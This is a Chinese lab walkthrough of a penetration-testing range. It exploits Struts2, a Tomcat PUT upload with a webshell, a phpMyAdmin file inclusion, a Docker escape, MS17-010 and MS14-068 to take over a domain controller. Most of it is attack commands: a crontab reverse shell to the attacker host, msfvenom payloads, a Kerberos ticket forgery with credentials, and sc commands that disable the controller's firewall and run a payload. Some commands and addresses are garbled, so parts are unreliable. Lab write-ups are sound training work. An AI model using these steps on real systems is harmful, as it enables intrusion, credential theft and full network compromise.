通过之前的射击场3,我们了解了命令执行功能的旁路,脏牛的筹款权以及WMI的使用。射击场4使用的知识点有struts2、tomcatl漏洞利用、phpmyadmin文件包含、docker转义、MS14-068攻击域漏洞。下面我们来看看。测试范围配置好之后,你要自己打开vulhub的三个漏洞。
攻击机192 . 168 . 1 . 3 web 192 . 168 . 1 . 9 192 . 168 . 183 . 3 win 7 192 . 168 . 183 . 2 DC 192 . 168 . 1 . 130
0x00:首先信息采集扫描目标的端口,发现2001、2002、2003三个web端口是打开的。
0x01:漏洞分析struts2访问了http://192 . 168 . 1 . 9:2001/dou upload . action,发现是struts2。利用漏洞工具直接获取外壳。
Tomcat访问http://192 . 168 . 1 .2001/dou upload . action是一个Tomcat页面。首先想看看有没有弱密码,然后进入后台部署战包来获取外壳,但是不行。然后,让我们看看是否存在CVE漏洞。CVE-2017-12615是用漏洞扫描工具找到的,你只要放上去上传就可以了。
抢包上传一个冰蝎木马。
访问并发现有一个shell.jsp文件成功上传。
PHYADMIN访问http://192 . 168 . 1 .2003/发现是PHYADMIN的未授权页面。
首先想到的是修改日志文件或者直接写木马,但是没有权限。测试发现有一个文件包含漏洞http://192 . 168 . 1 . 9:2003/index . PHP target=db _ SQL . PHP % 3f/./././././.
请访问http://192 . 168 . 1 . 9:2003/index . PHP target=db _ SQL . phpww=././././././tmp/sess _ C31E298E7A5
试着写个句子,工具连不上。通过改变GET来执行命令是不行的,要通过执行系统函数来执行命令。
0x02:利用Tomcat在PUT模式下上传了一个木马文件,用冰蝎连接。
Docker转义以确定是否是docker环境ls -alh /。dockerenv #检查dockerrnv文件是否cat /proc/1/cgroup #检查系统进程的cgroup信息挂载主机fdisk -l #检查磁盘文件mkdir /chan #新建一个目录挂载/dev/sda1 /chan #并将主机/dev/sda1目录挂载到容器。
任务拟写一个弹壳的脚本,touch/chan/tmp/test . sh chmod x/chan/tmp/test . shls-l/chan/tmp/test . she CHO \'/bin/bash-I bash-I/dev/TCP/192 . 168 . 1 . 3/99901。
sed-I \' $ a */1 * * * * root bash/tmp/test . sh \'/chan/etc/crontab
>cat /test/etc/crontab攻击机监听端口获取shell,逃逸成功,此时也利用计划任务corntab提权到root权限
利用python获取一个交互式shell
进行简单的信息收集,发现存在两个网卡,内网IP为192.168.183.3
使用msf生产一个shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.3 lport=4444-f elf > shell.elf
在靶机中将shell.elf下载下来赋权并执行
MSF监听4444端口,成功获得一个meterpreter
0x03:横向渗透添加路由,然后使用MSF开个sock4正向代理,配合proxychains
将/etc/proxychains.conf配置文件中的端口改为1080
配置好后访问内网地址,发现成功访问说明配置成功
内网存活主机扫描利用MSF自带的模块进行内网主机存活扫描
或者在靶机中执行下述命令for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep \"ttl\"|awk -F \"[ :]+\" \'{print $4}\'; done
端口服务探测proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.2proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.130
发现主机开启了445端口,利用ms17-010攻击域内主机,这里创建一个正向的shell
攻击成功,成功获取一个meterpreter,
使用tasklist /v查看进程发现存在DEMO域成员进程,尝试抓取其密码
成功抓取到douser域用户的密码
切换到域用户
进行简单域信息收集
利用MS14-048攻击域控获取域用户douser的SID
返回system权限,使用MS14-068进行攻击
利用ms14-068生成票据:MS14-068.exe -u douser@demo.com -p Dotest123 -sS-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
在mimikztz中导入票据:Kerberos::ptc C:\\Users\\douser\\Desktop\\TGT_douser@demo.com.ccache
成功获取域控权限
利用MSF生产一个正向连接的payload
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe -o/var/www/html/cahn.exe将chan.exe上传到跳板机上
然后将chan.exe复制到域控上
创建关闭域控的防火墙和执行chan.exe的服务,然后执行
sc \\\\WIN-ENS2VR5TR3N create ProFirewall binpath= \"netsh advfirewall set allprofiles state off\"sc \\\\WIN-ENS2VR5TR3N start ProFirewallsc \\\\WIN-ENS2VR5TR3N create Startup binpath= \"C:\\chan.exe\"sc \\\\WIN-ENS2VR5TR3N start Startup
在MSF设置监听,获取一个meterpreter,但是这里过了一会,会自动断开,所以我迁移了一个进程
抓取域控管理员的密码
后面就是开启3389端口然后进行桌面连接了run post/windows/manage/enable_rdp或者
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server/v fDenyTSConnections /t REG_DWORD /d 0 /f
0x04:总结学习了docker逃逸的姿势,在搭建好代理对内网主机使用MS17010进行攻击时,由于网络的原因好几次都是攻击成功,但是无法返回一个meterpreter。在靶机中查看端口,发现监听的端口过了一会会自动断开,好在后面还是成功返回了一个meterpreter ,然后利用MS14-068拿下域控。